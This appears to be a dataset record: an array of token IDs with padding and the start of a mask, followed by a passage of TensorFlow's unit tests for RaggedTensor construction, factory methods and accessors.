63,
11123,
908,
12,
536,
9,
398,
671,
275,
8260,
18,
68,
8,
354,
360,
16,
659,
671,
12,
4094,
14,
576,
63,
1392,
59,
19,
3672,
18,
12,
5114,
29,
19,
12,
7345,
29,
17,
12,
12992,
29,
7530,
9,
267,
671,
275,
8260,
18,
68,
8,
354,
360,
17,
659,
671,
12,
4094,
14,
576,
63,
1392,
59,
19,
467,
5114,
29,
19,
12,
7345,
29,
17,
12,
12992,
29,
7530,
9,
267,
372,
671,
339,
367,
4045,
315,
1425,
8,
21,
304,
267,
671,
63,
4694,
275,
8260,
63,
9983,
8,
354,
360,
5598,
5,
68,
5956,
1897,
395,
671,
9,
267,
671,
275,
2833,
14,
9419,
8,
19,
12,
359,
88,
12,
88,
63,
4694,
467,
536,
29,
354,
360,
388,
1411,
5,
68,
5956,
1897,
430,
339,
671,
275,
8260,
63,
9983,
8,
354,
360,
5598,
21,
659,
671,
9,
272,
671,
275,
2833,
14,
21468,
8,
88,
12,
536,
29,
354,
360,
2785,
63,
21468,
1333,
272,
1315,
275,
2833,
14,
3703,
8,
3249,
14,
1474,
8,
88,
395,
291,
63,
3616,
9,
272,
1315,
63,
1838,
275,
2833,
14,
5270,
63,
1838,
8,
90,
12,
16773,
63,
4108,
1524,
17,
12,
18,
12,
19,
467,
536,
29,
354,
360,
5312,
63,
1593,
1333,
327,
6484,
805,
339,
327,
4573,
15723,
402,
612,
10,
4956,
272,
5621,
275,
446,
3249,
14,
5270,
63,
1838,
8,
3249,
14,
3703,
8,
88,
12,
612,
395,
16773,
63,
4108,
1524,
17,
12,
18,
12,
19,
566,
435,
2833,
14,
793,
8,
90,
63,
1838,
9,
272,
1315,
63,
1838,
275,
2833,
14,
5217,
8,
90,
63,
1838,
12,
5243,
17,
12,
413,
12,
413,
12,
413,
566,
272,
8869,
275,
2833,
14,
3015,
8,
90,
12,
1315,
63,
1838,
12,
536,
29,
354,
360,
6892,
1333,
272,
372,
5822,
779,
277,
63,
1712,
12,
655,
69,
1662,
63,
1712,
12,
291,
63,
3616,
12,
655,
69,
1662,
63,
3616,
12,
291,
63,
18292,
12,
655,
69,
1662,
63,
18292,
467,
1324,
63,
1302,
12,
5621,
12,
8869,
12,
3105,
29,
90,
9,
199,
199,
692,
636,
354,
363,
6803,
363,
973,
3706,
339,
1402,
275,
664,
63,
1238,
360,
396,
358,
272,
4043,
275,
2833,
14,
23879,
4434,
342,
272,
4043,
14,
1065,
8,
3249,
14,
8489,
63,
452,
63,
3669,
1012,
339,
492,
2680,
465,
980,
272,
671,
63,
576,
275,
980,
14,
2355,
14,
8393,
8,
18,
12,
1568,
1524,
20,
12,
1960,
12,
25,
12,
709,
12,
975,
6575,
6041,
360,
1609,
708,
358,
272,
612,
63,
576,
275,
980,
14,
2355,
14,
8393,
8,
18,
12,
1568,
1524,
1960,
12,
25,
12,
709,
12,
975,
6575,
6041,
360,
1609,
708,
358,
339,
1324,
63,
807,
275,
1052,
272,
367,
2729,
12,
666,
315,
3482,
8,
1238,
14,
3711,
12,
671,
63,
576,
304,
267,
1324,
63,
807,
59,
1391,
61,
275,
666,
272,
1324,
63,
807,
59,
1238,
14,
1302,
61,
275,
612,
63,
576,
339,
5621,
63,
637,
275,
1402,
14,
4358,
14,
2579,
8,
3871,
63,
807,
29,
1210,
63,
807,
9,
272,
8869,
63,
637,
275,
1402,
14,
5991,
14,
2579,
8,
3871,
63,
807,
29,
1210,
63,
807,
9,
272,
870,
8,
4358,
63,
637,
9,
272,
327,
870,
8,
5991,
63,
637,
9,
339,
8869,
63,
637,
275,
8869,
63,
637,
14,
5217,
8,
5991,
63,
637,
14,
1392,
59,
16,
467,
446,
17,
9,
272,
702,
1006,
8,
2101,
8,
5991,
63,
637,
14,
1838,
8,
3127,
29,
17,
7216,
17,
14,
16,
28,
17,
69,
13,
22,
430,
272,
870,
360,
1238,
511,
9949,
358,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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yright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Tests for third_party.tensorflow.python.ops.ragged_tensor."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import re
from absl.testing import parameterized
import numpy as np
from tensorflow.python.eager import context
from tensorflow.python.framework import constant_op
from tensorflow.python.framework import dtypes
from tensorflow.python.framework import errors
from tensorflow.python.framework import ops
from tensorflow.python.framework import test_util
from tensorflow.python.ops import array_ops
from tensorflow.python.ops.ragged import ragged_factory_ops
from tensorflow.python.ops.ragged import ragged_math_ops
from tensorflow.python.ops.ragged import ragged_tensor_value
from tensorflow.python.ops.ragged import ragged_test_util
from tensorflow.python.ops.ragged.ragged_tensor import RaggedTensor
from tensorflow.python.platform import googletest
class _SliceBuilder(object):
"""Helper to construct arguments for __getitem__.
Usage: _SliceBuilder()[<expr>] slice_spec Python generates for <expr>.
"""
def __getitem__(self, slice_spec):
return slice_spec
SLICE_BUILDER = _SliceBuilder()
def _make_tensor_slice_spec(slice_spec, use_constant=True):
"""Wraps all integers in an extended slice spec w/ a tensor.
This function is used to help test slicing when the slice spec contains
tensors, rather than integers.
Args:
slice_spec: The extended slice spec.
use_constant: If true, then wrap each integer with a tf.constant. If false,
then wrap each integer with a tf.placeholder.
Returns:
A copy of slice_spec, but with each integer i replaced with tf.constant(i).
"""
def make_piece_scalar(piece):
if isinstance(piece, int):
scalar = constant_op.constant(piece)
if use_constant:
return scalar
else:
return array_ops.placeholder_with_default(scalar, [])
elif isinstance(piece, slice):
return slice(
make_piece_scalar(piece.start), make_piece_scalar(piece.stop),
make_piece_scalar(piece.step))
else:
return piece
if isinstance(slice_spec, tuple):
return tuple(make_piece_scalar(piece) for piece in slice_spec)
else:
return make_piece_scalar(slice_spec)
# Example 2D ragged tensor value with one ragged dimension and with scalar
# values, expressed as nested python lists and as splits+values.
EXAMPLE_RAGGED_TENSOR_2D = [[b'a', b'b'], [b'c', b'd', b'e'], [b'f'], [],
[b'g']]
EXAMPLE_RAGGED_TENSOR_2D_SPLITS = [0, 2, 5, 6, 6, 7]
EXAMPLE_RAGGED_TENSOR_2D_VALUES = ['a', 'b', 'c', 'd', 'e', 'f', 'g']
# Example 4D ragged tensor value, with two ragged dimensions and with values
# whose shape is [2], expressed as nested python lists and as splits+values.
EXAMPLE_RAGGED_TENSOR_4D = [
[ # rt[0]
[[1, 2], [3, 4], [5, 6]], # rt[0][0]
[[7, 8], [9, 10], [11, 12]]], # rt[0][1]
[], # rt[1]
[ # rt[2]
[[13, 14], [15, 16], [17, 18]]], # rt[2][0]
[ # rt[3]
[[19, 20]]] # rt[3][0]
] # pyformat: disable
EXAMPLE_RAGGED_TENSOR_4D_SPLITS1 = [0, 2, 2, 3, 4]
EXAMPLE_RAGGED_TENSOR_4D_SPLITS2 = [0, 3, 6, 9, 10]
EXAMPLE_RAGGED_TENSOR_4D_VALUES = [[1, 2], [3, 4], [5, 6], [7, 8], [9, 10],
[11, 12], [13, 14], [15, 16], [17, 18],
[19, 20]]
@test_util.run_all_in_graph_and_eager_modes
class RaggedTensorTest(ragged_test_util.RaggedTensorTestCase,
parameterized.TestCase):
longMessage = True # Property in unittest.Testcase. pylint: disable=invalid-name
#=============================================================================
# RaggedTensor class docstring examples
#=============================================================================
def testClassDocStringExamples(self):
# From section: "Component Tensors"
rt = RaggedTensor.from_row_splits(
values=[3, 1, 4, 1, 5, 9, 2, 6], row_splits=[0, 4, 4, 7, 8, 8])
self.assertRaggedEqual(rt, [[3, 1, 4, 1], [], [5, 9, 2], [6], []])
del rt
# From section: "Alternative Row-Partitioning Schemes"
values = [3, 1, 4, 1, 5, 9, 2, 6]
rt1 = RaggedTensor.from_row_splits(values, row_splits=[0, 4, 4, 7, 8, 8])
rt2 = RaggedTensor.from_row_lengths(values, row_lengths=[4, 0, 3, 1, 0])
rt3 = RaggedTensor.from_value_rowids(
values, value_rowids=[0, 0, 0, 0, 2, 2, 2, 3], nrows=5)
rt4 = RaggedTensor.from_row_starts(values, row_starts=[0, 4, 4, 7, 8])
rt5 = RaggedTensor.from_row_limits(values, row_limits=[4, 4, 7, 8, 8])
for rt in (rt1, rt2, rt3, rt4, rt5):
self.assertRaggedEqual(rt, [[3, 1, 4, 1], [], [5, 9, 2], [6], []])
del rt1, rt2, rt3, rt4, rt5
# From section: "Multiple Ragged Dimensions"
inner_rt = RaggedTensor.from_row_splits(
values=[3, 1, 4, 1, 5, 9, 2, 6], row_splits=[0, 4, 4, 7, 8, 8])
outer_rt = RaggedTensor.from_row_splits(
values=inner_rt, row_splits=[0, 3, 3, 5])
self.assertEqual(outer_rt.ragged_rank, 2)
self.assertEqual(
self.eval_to_list(outer_rt),
[[[3, 1, 4, 1], [], [5, 9, 2]], [], [[6], []]])
del inner_rt, outer_rt
# From section: "Multiple Ragged Dimensions"
rt = RaggedTensor.from_nested_row_splits(
flat_values=[3, 1, 4, 1, 5, 9, 2, 6],
nested_row_splits=([0, 3, 3, 5], [0, 4, 4, 7, 8, 8]))
self.assertEqual(
self.eval_to_list(rt), [[[3, 1, 4, 1], [], [5, 9, 2]], [], [[6], []]])
del rt
# From section: "Uniform Inner Dimensions"
rt = RaggedTensor.from_row_splits(
values=array_ops.ones([5, 3]), row_splits=[0, 2, 5])
self.assertEqual(
self.eval_to_list(rt),
[[[1, 1, 1], [1, 1, 1]], [[1, 1, 1], [1, 1, 1], [1, 1, 1]]])
self.assertEqual(rt.shape.as_list(), [2, None, 3])
del rt
#=============================================================================
# RaggedTensorValue Constructor
#=============================================================================
def testRaggedTensorValueConstruction(self):
values = np.array(b'a b c d e f g'.split())
splits = np.array([0, 2, 5, 6, 6, 7], dtype=np.int64)
splits2 = np.array([0, 3, 5], dtype=np.int64)
# Test construction of a RaggedTensorValue with ragged_rank=1.
rt_value = ragged_tensor_value.RaggedTensorValue(values, splits)
self.assertEqual(rt_value.row_splits.dtype, np.int64)
self.assertEqual(rt_value.shape, (5, None))
self.assertEqual(len(rt_value.nested_row_splits), 1)
self.assertAllEqual(splits, rt_value.row_splits)
self.assertAllEqual(values, rt_value.values)
self.assertAllEqual(splits, rt_value.nested_row_splits[0])
self.assertAllEqual(values, rt_value.flat_values)
# Test construction of a RaggedTensorValue with ragged_rank=2.
rt_value = ragged_tensor_value.RaggedTensorValue(
values=ragged_tensor_value.RaggedTensorValue(values, splits),
row_splits=splits2)
self.assertEqual(rt_value.row_splits.dtype, np.int64)
self.assertEqual(rt_value.shape, (2, None, None))
self.assertEqual(len(rt_value.nested_row_splits), 2)
self.assertAllEqual(splits2, rt_value.row_splits)
self.assertAllEqual(splits, rt_value.values.row_splits)
self.assertAllEqual(splits2, rt_value.nested_row_splits[0])
self.assertAllEqual(splits, rt_value.nested_row_splits[1])
self.assertAllEqual(values, rt_value.values.values)
self.assertAllEqual(values, rt_value.flat_values)
#=============================================================================
# RaggedTensor Constructor (private)
#=============================================================================
def testRaggedTensorConstruction(self):
values = constant_op.constant(['a', 'b', 'c', 'd', 'e', 'f', 'g'])
row_splits = constant_op.constant([0, 2, 2, 5, 6, 7], dtypes.int64)
rt = RaggedTensor(values=values, row_splits=row_splits, internal=True)
self.assertEqual(
self.eval_to_list(rt),
[[b'a', b'b'], [], [b'c', b'd', b'e'], [b'f'], [b'g']])
def testRaggedTensorConstructionErrors(self):
values = constant_op.constant(['a', 'b', 'c', 'd', 'e', 'f', 'g'])
row_splits = constant_op.constant([0, 2, 2, 5, 6, 7], dtypes.int64)
with self.assertRaisesRegexp(ValueError,
'RaggedTensor constructor is private'):
RaggedTensor(values=values, row_splits=row_splits)
with self.assertRaisesRegexp(TypeError,
'values must be a Tensor or RaggedTensor'):
RaggedTensor(values=range(7), row_splits=row_splits, internal=True)
with self.assertRaisesRegexp(TypeError,
'Row-partitioning argument must be a Tensor'):
RaggedTensor(values=values, row_splits=[0, 2, 2, 5, 6, 7], internal=True)
with self.assertRaisesRegexp(ValueError,
r'Shape \(6, 1\) must have rank 1'):
RaggedTensor(
values=values,
row_splits=array_ops.expand_dims(row_splits, 1),
internal=True)
with self.assertRaisesRegexp(TypeError,
'Cached value must be a Tensor or None.'):
RaggedTensor(
values=values,
row_splits=row_splits,
cached_row_lengths=[2, 3, 4],
internal=True)
#=============================================================================
# RaggedTensor Factory Ops
#=============================================================================
def testFromValueRowIdsWithDerivedNRows(self):
# nrows is known at graph creation time.
values = constant_op.constant(['a', 'b', 'c', 'd', 'e', 'f', 'g'])
value_rowids = constant_op.constant([0, 0, 2, 2, 2, 3, 4], dtypes.int64)
rt = RaggedTensor.from_value_rowids(values, value_rowids)
self.assertEqual(rt.dtype, dtypes.string)
self.assertEqual(rt.shape.as_list(), [5, None])
self.assertEqual(rt.ragged_rank, 1)
rt_values = rt.values
rt_value_rowids = rt.value_rowids()
rt_nrows = rt.nrows()
self.assertIs(rt_values, values)
self.assertIs(rt_value_rowids, value_rowids) # cached_value_rowids
self.assertAllEqual(rt_value_rowids, value_rowids)
self.assertEqual(self.eval_to_list(rt_nrows), 5)
self.assertEqual(
self.eval_to_list(rt),
[[b'a', b'b'], [], [b'c', b'd', b'e'], [b'f'], [b'g']])
def testFromValueRowIdsWithDerivedNRowsDynamic(self):
# nrows is not known at graph creation time.
values = constant_op.constant(['a', 'b', 'c', 'd', 'e', 'f', 'g'])
value_rowids = constant_op.constant([0, 0, 2, 2, 2, 3, 4], dtypes.int64)
value_rowids = array_ops.placeholder_with_default(value_rowids, shape=None)
rt = RaggedTensor.from_value_rowids(values, value_rowids)
self.assertEqual(rt.dtype, dtypes.string)
if context.executing_eagerly():
self.assertEqual(rt.shape.as_list(), [5, None])
else:
self.assertEqual(rt.shape.as_list(), [None, None])
self.assertEqual(rt.ragged_rank, 1)
rt_values = rt.values
rt_value_rowids = rt.value_rowids()
rt_nrows = rt.nrows()
self.assertIs(rt_values, values)
self.assertIs(rt_value_rowids, value_rowids) # cached_value_rowids
self.assertAllEqual(rt_value_rowids, value_rowids)
self.assertEqual(self.eval_to_list(rt_nrows), 5)
self.assertEqual(
self.eval_to_list(rt),
[[b'a', b'b'], [], [b'c', b'd', b'e'], [b'f'], [b'g']])
def testFromValueRowIdsWithExplicitNRows(self):
values = constant_op.constant(['a', 'b', 'c', 'd', 'e', 'f', 'g'])
value_rowids = constant_op.constant([0, 0, 2, 2, 2, 3, 4], dtypes.int64)
nrows = constant_op.constant(7, dtypes.int64)
rt = RaggedTensor.from_value_rowids(values, value_rowids, nrows)
self.assertEqual(rt.dtype, dtypes.string)
self.assertEqual(rt.shape.as_list(), [7, None])
self.assertEqual(rt.ragged_rank, 1)
rt_values = rt.values
rt_value_rowids = rt.value_rowids()
rt_nrows = rt.nrows()
self.assertIs(rt_values, values)
self.assertIs(rt_value_rowids, value_rowids) # cached_value_rowids
self.assertIs(rt_nrows, nrows) # cached_nrows
self.assertEqual(
self.eval_to_list(rt),
[[b'a', b'b'], [], [b'c', b'd', b'e'], [b'f'], [b'g'], [], []])
def testFromValueRowIdsWithExplicitNRowsEqualToDefault(self):
values = constant_op.constant(['a', 'b', 'c', 'd', 'e', 'f', 'g'])
value_rowids = constant_op.constant([0, 0, 2, 2, 2, 3, 4], dtypes.int64)
nrows = constant_op.constant(5, dtypes.int64)
rt = RaggedTensor.from_value_rowids(values, value_rowids, nrows)
self.assertEqual(rt.dtype, dtypes.string)
self.assertEqual(rt.shape.as_list(), [5, None])
self.assertEqual(rt.ragged_rank, 1)
rt_values = rt.values
rt_value_rowids = rt.value_rowids()
rt_nrows = rt.nrows()
self.assertIs(rt_values, values)
self.assertIs(rt_value_rowids, value_rowids) # cached_value_rowids
self.assertIs(rt_nrows, nrows) # cached_nrows
self.assertAllEqual(rt_value_rowids, value_rowids)
self.assertAllEqual(rt_nrows, nrows)
self.assertEqual(
self.eval_to_list(rt),
[[b'a', b'b'], [], [b'c', b'd', b'e'], [b'f'], [b'g']])
def testFromValueRowIdsWithEmptyValues(self):
rt = RaggedTensor.from_value_rowids([], [])
rt_nrows = rt.nrows()
self.assertEqual(rt.dtype, dtypes.float32)
self.assertEqual(rt.shape.as_list(), [0, None])
self.assertEqual(rt.ragged_rank, 1)
self.assertEqual(rt.values.shape.as_list(), [0])
self.assertEqual(rt.value_rowids().shape.as_list(), [0])
self.assertEqual(self.eval_to_list(rt_nrows), 0)
self.assertEqual(self.eval_to_list(rt), [])
def testFromRowSplits(self):
values = constant_op.constant(['a', 'b', 'c', 'd', 'e', 'f', 'g'])
row_splits = constant_op.constant([0, 2, 2, 5, 6, 7], dtypes.int64)
rt = RaggedTensor.from_row_splits(values, row_splits)
self.assertEqual(rt.dtype, dtypes.string)
self.assertEqual(rt.shape.as_list(), [5, None])
self.assertEqual(rt.ragged_rank, 1)
rt_values = rt.values
rt_row_splits = rt.row_splits
rt_nrows = rt.nrows()
self.assertIs(rt_values, values)
self.assertIs(rt_row_splits, row_splits)
self.assertEqual(self.eval_to_list(rt_nrows), 5)
self.assertEqual(
self.eval_to_list(rt),
[[b'a', b'b'], [], [b'c', b'd', b'e'], [b'f'], [b'g']])
def testFromRowSplitsWithEmptySplits(self):
err_msg = 'row_splits tensor may not be empty'
with self.assertRaisesRegexp(ValueError, err_msg):
RaggedTensor.from_row_splits([], [])
def testFromRowStarts(self):
values = constant_op.constant(['a', 'b', 'c', 'd', 'e', 'f', 'g'])
row_starts = constant_op.constant([0, 2, 2, 5, 6], dtypes.int64)
rt = RaggedTensor.from_row_starts(values, row_starts)
self.assertEqual(rt.dtype, dtypes.string)
self.assertEqual(rt.shape.as_list(), [5, None])
self.assertEqual(rt.ragged_rank, 1)
rt_values = rt.values
rt_row_starts = rt.row_starts()
rt_nrows = rt.nrows()
self.assertIs(rt_values, values)
self.assertEqual(self.eval_to_list(rt_nrows), 5)
self.assertAllEqual(rt_row_starts, row_starts)
self.assertEqual(
self.eval_to_list(rt),
[[b'a', b'b'], [], [b'c', b'd', b'e'], [b'f'], [b'g']])
def testFromRowLimits(self):
values = constant_op.constant(['a', 'b', 'c', 'd', 'e', 'f', 'g'])
row_limits = constant_op.constant([2, 2, 5, 6, 7], dtypes.int64)
rt = RaggedTensor.from_row_limits(values, row_limits)
self.assertEqual(rt.dtype, dtypes.string)
self.assertEqual(rt.shape.as_list(), [5, None])
self.assertEqual(rt.ragged_rank, 1)
rt_values = rt.values
rt_row_limits = rt.row_limits()
rt_nrows = rt.nrows()
self.assertIs(rt_values, values)
self.assertEqual(self.eval_to_list(rt_nrows), 5)
self.assertAllEqual(rt_row_limits, row_limits)
self.assertEqual(
self.eval_to_list(rt),
[[b'a', b'b'], [], [b'c', b'd', b'e'], [b'f'], [b'g']])
def testFromRowLengths(self):
values = constant_op.constant(['a', 'b', 'c', 'd', 'e', 'f', 'g'])
row_lengths = constant_op.constant([2, 0, 3, 1, 1], dtypes.int64)
rt = RaggedTensor.from_row_lengths(values, row_lengths)
self.assertEqual(rt.dtype, dtypes.string)
self.assertEqual(rt.shape.as_list(), [5, None])
self.assertEqual(rt.ragged_rank, 1)
rt_values = rt.values
rt_row_lengths = rt.row_lengths()
rt_nrows = rt.nrows()
self.assertIs(rt_values, values)
self.assertIs(rt_row_lengths, row_lengths) # cached_nrows
self.assertEqual(self.eval_to_list(rt_nrows), 5)
self.assertAllEqual(rt_row_lengths, row_lengths)
self.assertEqual(
self.eval_to_list(rt),
[[b'a', b'b'], [], [b'c', b'd', b'e'], [b'f'], [b'g']])
def testFromNestedValueRowIdsWithDerivedNRows(self):
values = constant_op.constant(['a', 'b', 'c', 'd', 'e', 'f', 'g'])
nested_value_rowids = [
constant_op.constant([0, 0, 1, 3, 3], dtypes.int64),
constant_op.constant([0, 0, 2, 2, 2, 3, 4], dtypes.int64)
]
rt = RaggedTensor.from_nested_value_rowids(values, nested_value_rowids)
self.assertEqual(rt.dtype, dtypes.string)
self.assertEqual(rt.shape.as_list(), [4, None, None])
self.assertEqual(rt.ragged_rank, 2)
rt_values = rt.values
rt_value_rowids = rt.value_rowids()
rt_values_values = rt_values.values
rt_values_value_rowids = rt_values.value_rowids()
self.assertIs(rt_values_values, values)
self.assertAllEqual(rt_value_rowids, nested_value_rowids[0])
self.assertAllEqual(rt_values_value_rowids, nested_value_rowids[1])
self.assertEqual(
self.eval_to_list(rt),
[[[b'a', b'b'], []], [[b'c', b'd', b'e']], [], [[b'f'], [b'g']]])
def testFromNestedValueRowIdsWithExplicitNRows(self):
values = constant_op.constant(['a', 'b', 'c', 'd', 'e', 'f', 'g'])
nested_value_rowids = [
constant_op.constant([0, 0, 1, 3, 3, 3], dtypes.int64),
constant_op.constant([0, 0, 2, 2, 2, 3, 4], dtypes.int64)
]
nrows = [
constant_op.constant(6, dtypes.int64),
constant_op.constant(6, dtypes.int64)
]
rt = RaggedTensor.from_nested_value_rowids(values, nested_value_rowids,
nrows)
self.assertEqual(rt.dtype, dtypes.string)
self.assertEqual(rt.shape.as_list(), [6, None, None])
self.assertEqual(rt.ragged_rank, 2)
rt_values = rt.values
rt_value_rowids = rt.value_rowids()
rt_nrows = rt.nrows()
rt_values_values = rt_values.values
rt_values_value_rowids = rt_values.value_rowids()
rt_values_nrows = rt_values.nrows()
self.assertIs(rt_values_values, values)
self.assertAllEqual(rt_value_rowids, nested_value_rowids[0])
self.assertAllEqual(rt_values_value_rowids, nested_value_rowids[1])
self.assertAllEqual(rt_nrows, nrows[0])
self.assertAllEqual(rt_values_nrows, nrows[1])
self.assertEqual(
self.eval_to_list(rt), [[[b'a', b'b'], []], [[b'c', b'd', b'e']], [],
[[b'f'], [b'g'], []], [], []])
def testFromNestedValueRowIdsWithExplicitNRowsMismatch(self):
values = constant_op.constant(['a', 'b', 'c', 'd', 'e', 'f', 'g'])
nested_value_rowids = [
constant_op.constant([0, 0, 1, 3, 3, 3], dtypes.int64),
constant_op.constant([0, 0, 2, 2, 2, 3, 4], dtypes.int64)
]
nrows = [constant_op.constant(6, dtypes.int64)]
with self.assertRaisesRegexp(
ValueError, 'nested_nrows must have the same '
'length as nested_value_rowids'):
RaggedTensor.from_nested_value_rowids(values, nested_value_rowids, nrows)
def testFromNestedValueRowIdsWithNonListInput(self):
with self.assertRaisesRegexp(
TypeError, 'nested_value_rowids must be a list of Tensors'):
RaggedTensor.from_nested_value_rowids(
[1, 2, 3], constant_op.constant([[0, 1, 2], [0, 1, 2]], dtypes.int64))
with self.assertRaisesRegexp(TypeError,
'nested_nrows must be a list of Tensors'):
RaggedTensor.from_nested_value_rowids([1, 2, 3], [[0, 1, 2], [0, 1, 2]],
constant_op.constant([3, 3]))
def testFromNestedRowSplits(self):
flat_values = constant_op.constant(['a', 'b', 'c', 'd', 'e', 'f', 'g'])
nested_row_splits = [
constant_op.constant([0, 2, 3, 3, 5], dtypes.int64),
constant_op.constant([0, 2, 2, 5, 6, 7], dtypes.int64)
]
rt = RaggedTensor.from_nested_row_splits(flat_values, nested_row_splits)
self.assertEqual(rt.dtype, dtypes.string)
self.assertEqual(rt.shape.as_list(), [4, None, None])
self.assertEqual(rt.ragged_rank, 2)
rt_values = rt.values
rt_row_splits = rt.row_splits
rt_values_values = rt_values.values
rt_values_row_splits = rt_values.row_splits
self.assertIs(rt_values_values, flat_values)
self.assertIs(rt_row_splits, nested_row_splits[0])
self.assertIs(rt_values_row_splits, nested_row_splits[1])
self.assertEqual(
self.eval_to_list(rt),
[[[b'a', b'b'], []], [[b'c', b'd', b'e']], [], [[b'f'], [b'g']]])
def testFromNestedRowSplitsWithNonListInput(self):
with self.assertRaisesRegexp(TypeError,
'nested_row_splits must be a list of Tensors'):
RaggedTensor.from_nested_row_splits(
[1, 2], constant_op.constant([[0, 1, 2], [0, 1, 2]], dtypes.int64))
def testFromValueRowIdsWithBadNRows(self):
values = constant_op.constant(['a', 'b', 'c', 'd', 'e', 'f', 'g'])
value_rowids = constant_op.constant([0, 0, 2, 2, 2, 3, 4], dtypes.int64)
nrows = constant_op.constant(5, dtypes.int64)
with self.assertRaisesRegexp(ValueError, r'Expected nrows >= 0; got -2'):
RaggedTensor.from_value_rowids(
values=values,
value_rowids=array_ops.placeholder_with_default(value_rowids, None),
nrows=-2)
with self.assertRaisesRegexp(
ValueError, r'Expected nrows >= value_rowids\[-1\] \+ 1; got nrows=2, '
r'value_rowids\[-1\]=4'):
RaggedTensor.from_value_rowids(
values=values, value_rowids=value_rowids, nrows=2)
with self.assertRaisesRegexp(
ValueError, r'Expected nrows >= value_rowids\[-1\] \+ 1; got nrows=4, '
r'value_rowids\[-1\]=4'):
RaggedTensor.from_value_rowids(
values=values, value_rowids=value_rowids, nrows=4)
with self.assertRaisesRegexp(ValueError,
r'Shape \(7, 1\) must have rank 1'):
RaggedTensor.from_value_rowids(
values=values,
value_rowids=array_ops.expand_dims(value_rowids, 1),
nrows=nrows)
with self.assertRaisesRegexp(ValueError, r'Shape \(1,\) must have rank 0'):
RaggedTensor.from_value_rowids(
values=values,
value_rowids=value_rowids,
nrows=array_ops.expand_dims(nrows, 0))
def testGraphMismatch(self):
if not context.executing_eagerly():
with ops.Graph().as_default():
values = constant_op.constant([1, 2, 3], dtypes.int64)
with ops.Graph().as_default():
splits = constant_op.constant([0, 2, 3], dtypes.int64)
self.assertRaisesRegexp(ValueError,
'.* must be from the same graph as .*',
RaggedTensor.from_row_splits, values, splits)
#=============================================================================
# Ragged Value & Row-Partitioning Tensor Accessors
#=============================================================================
def testRaggedTensorAccessors_2d(self):
values = constant_op.constant(['a', 'b', 'c', 'd', 'e', 'f', 'g'])
row_splits = constant_op.constant([0, 2, 2, 5, 6, 7], dtypes.int64)
value_rowids = constant_op.constant([0, 0, 2, 2, 2, 3, 4], dtypes.int64)
rt1 = RaggedTensor.from_row_splits(values, row_splits)
rt2 = RaggedTensor.from_value_rowids(values, value_rowids)
for rt in [rt1, rt2]:
self.assertRaggedEqual(
rt, [[b'a', b'b'], [], [b'c', b'd', b'e'], [b'f'], [b'g']])
self.assertAllEqual(rt.values, [b'a', b'b', b'c', b'd', b'e', b'f', b'g'])
self.assertEqual(rt.values.shape.dims[0].value, 7)
self.assertAllEqual(rt.value_rowids(), [0, 0, 2, 2, 2, 3, 4])
self.assertAllEqual(rt.nrows(), 5)
self.assertAllEqual(rt.row_splits, [0, 2, 2, 5, 6, 7])
self.assertAllEqual(rt.row_starts(), [0, 2, 2, 5, 6])
self.assertAllEqual(rt.row_limits(), [2, 2, 5, 6, 7])
self.assertAllEqual(rt.row_lengths(), [2, 0, 3, 1, 1])
self.assertAllEqual(rt.flat_values,
[b'a', b'b', b'c', b'd', b'e', b'f', b'g'])
self.assertLen(rt.nested_row_splits, 1)
self.assertAllEqual(rt.nested_row_splits[0], [0, 2, 2, 5, 6, 7])
def testRaggedTensorAccessors_3d_with_ragged_rank_1(self):
values = [[0, 1], [2, 3], [4, 5], [6, 7], [8, 9], [10, 11], [12, 13]]
row_splits = constant_op.constant([0, 2, 2, 5, 6, 7], dtypes.int64)
value_rowids = constant_op.constant([0, 0, 2, 2, 2, 3, 4], dtypes.int64)
rt1 = RaggedTensor.from_row_splits(values, row_splits)
rt2 = RaggedTensor.from_value_rowids(values, value_rowids)
for rt in [rt1, rt2]:
self.assertEqual(
self.eval_to_list(rt),
[[[0, 1], [2, 3]], [], [[4, 5], [6, 7], [8, 9]], [[10, 11]],
[[12, 13]]])
self.assertEqual(
self.eval_to_list(rt.values),
[[0, 1], [2, 3], [4, 5], [6, 7], [8, 9], [10, 11], [12, 13]])
self.assertEqual(rt.values.shape.dims[0].value, 7)
self.assertEqual(
self.eval_to_list(rt.value_rowids()), [0, 0, 2, 2, 2, 3, 4])
self.assertEqual(self.eval_to_list(rt.nrows()), 5)
self.assertEqual(self.eval_to_list(rt.row_splits), [0, 2, 2, 5, 6, 7])
self.assertEqual(self.eval_to_list(rt.row_starts()), [0, 2, 2, 5, 6])
self.assertEqual(self.eval_to_list(rt.row_limits()), [2, 2, 5, 6, 7])
self.assertEqual(self.eval_to_list(rt.row_lengths()), [2, 0, 3, 1, 1])
self.assertEqual(
self.eval_to_list(rt.flat_values),
[[0, 1], [2, 3], [4, 5], [6, 7], [8, 9], [10, 11], [12, 13]])
self.assertEqual([self.eval_to_list(s) for s in rt.nested_row_splits],
[[0, 2, 2, 5, 6, 7]])
def testRaggedTensorAccessors_3d_with_ragged_rank_2(self):
values = constant_op.constant(['a', 'b', 'c', 'd', 'e', 'f', 'g'])
nested_row_splits = [
constant_op.constant([0, 2, 3, 3, 5], dtypes.int64),
constant_op.constant([0, 2, 2, 5, 6, 7], dtypes.int64)
]
nested_value_rowids = [
constant_op.constant([0, 0, 1, 3, 3], dtypes.int64),
constant_op.constant([0, 0, 2, 2, 2, 3, 4], dtypes.int64)
]
rt1 = RaggedTensor.from_nested_row_splits(values, nested_row_splits)
rt2 = RaggedTensor.from_nested_value_rowids(values, nested_value_rowids)
for rt in [rt1, rt2]:
self.assertEqual(
self.eval_to_list(rt),
